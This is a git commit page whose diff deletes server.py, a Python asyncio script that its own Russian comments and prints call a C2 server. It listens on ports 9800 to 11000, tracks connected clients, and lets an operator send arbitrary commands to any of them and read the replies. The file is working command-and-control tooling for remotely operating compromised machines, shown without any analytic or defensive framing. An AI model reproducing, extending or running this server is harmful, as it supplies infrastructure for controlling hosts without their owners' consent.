popa
This commit is contained in:
parent
a790ece4a2
commit
267a4bcff6
48
server.py
48
server.py
@ -1,48 +0,0 @@
|
|||||||
import asyncio
|
|
||||||
|
|
||||||
clients = {} # {порт: (reader, writer)}
|
|
||||||
|
|
||||||
async def handle_client(reader, writer):
|
|
||||||
addr = writer.get_extra_info("peername")
|
|
||||||
port = writer.get_extra_info("sockname")[1]
|
|
||||||
clients[port] = (reader, writer)
|
|
||||||
|
|
||||||
print(f"[+] Новое подключение с {addr}, порт {port}")
|
|
||||||
|
|
||||||
try:
|
|
||||||
while True:
|
|
||||||
command = await asyncio.get_event_loop().run_in_executor(None, input, "C2> ")
|
|
||||||
if command.lower() in ["exit", "quit"]:
|
|
||||||
break
|
|
||||||
elif command == "list":
|
|
||||||
print("[*] Активные клиенты:")
|
|
||||||
for p in clients:
|
|
||||||
print(f" - Порт {p}")
|
|
||||||
elif command.startswith("send "):
|
|
||||||
_, target_port, cmd = command.split(" ", 2)
|
|
||||||
target_port = int(target_port)
|
|
||||||
if target_port in clients:
|
|
||||||
r, w = clients[target_port]
|
|
||||||
w.write(cmd.encode() + b"\n")
|
|
||||||
await w.drain()
|
|
||||||
response = await r.readline()
|
|
||||||
print(f"[{target_port}] {response.decode().strip()}")
|
|
||||||
else:
|
|
||||||
print(f"[-] Нет клиента на порте {target_port}")
|
|
||||||
except Exception as e:
|
|
||||||
print(f"[-] Ошибка: {e}")
|
|
||||||
|
|
||||||
writer.close()
|
|
||||||
await writer.wait_closed()
|
|
||||||
del clients[port]
|
|
||||||
print(f"[-] Клиент отключился: {addr}, порт {port}")
|
|
||||||
|
|
||||||
async def main():
|
|
||||||
tasks = []
|
|
||||||
for port in range(9800, 11000):
|
|
||||||
server = await asyncio.start_server(handle_client, "0.0.0.0", port)
|
|
||||||
tasks.append(server.serve_forever())
|
|
||||||
print("[+] Сервер C2 запущен на портах 9800-11000")
|
|
||||||
await asyncio.gather(*tasks)
|
|
||||||
|
|
||||||
asyncio.run(main())
|
|
Loading…
x
Reference in New Issue
Block a user